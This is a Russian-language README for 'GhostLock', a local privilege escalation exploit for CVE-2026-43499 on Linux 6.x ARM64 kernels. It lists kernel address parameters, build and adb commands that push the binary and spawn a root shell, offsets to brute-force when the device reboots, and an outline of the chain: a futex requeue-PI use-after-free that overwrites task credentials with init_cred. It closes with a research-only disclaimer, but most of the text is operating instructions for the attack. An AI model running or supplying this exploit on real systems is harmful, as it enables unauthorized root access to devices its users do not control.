
Адаптация GhostLock (CVE-2026-43499) для не-Android Linux 6.x ARM64
Эксплойт привилегий GhostLock (CVE-2026-43499) для ядер не-Android Linux 6.x ARM64.
| Параметр | Значение |
|---|---|
| Архитектура | ARM64 (AArch64) |
| VA_BITS | 39 |
| KIMAGE_TEXT_BASE | 0xffffffc008000000 |
| Версия ядра | 6.x |
| SELinux | нет |
| ashmem | нет |
| configfs | нет |
make
make android-arm64 NDK=/path/to/android-ndk
После push автоматически запускается сборка, достаточно скачать artifact.
# Отправка на целевое устройство
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# Получение root shell
adb shell /data/local/tmp/e --shell
# Подстройка смещения pselect (если значение по умолчанию не работает)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# Указание физического адреса загрузки
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
| Переменная | Значение по умолчанию | Описание |
|---|---|---|
PSELECT_SHIFT | -2 | Смещение pselect waiter в стеке |
KPHYS | 0x80000000 | Физический адрес загрузки ядра |
KIMAGE_TEXT_BASE | 0xffffffc008000000 | Виртуальный базовый адрес ядра |
FUTEX_CMP_REQUEUE_PI запускает UAF в remove_waiter()rt_mutex_waiter попадает в буфер stack_fdstask_struct->cred перезаписывается на init_credДанная версия урезана на основе ghostlock-oneplus:
| Симптом | Возможная причина | Способ решения |
|---|---|---|
| Устройство перезагружается | Неверный PSELECT_SHIFT | Перебирать значения от -4 до +4 |
| Нет эффекта | Неверный KPHYS | Проверить правильное значение в /proc/iomem |
| perf_event_open failed | Ограничение seccomp | Попробовать запуск через ADB shell |
| Нет root | Несовпадение смещений | Проверить версию ядра, сверить TASK_CRED_OFF |
Данный инструмент предназначен только для исследований в области безопасности. Всю ответственность за использование несёт пользователь.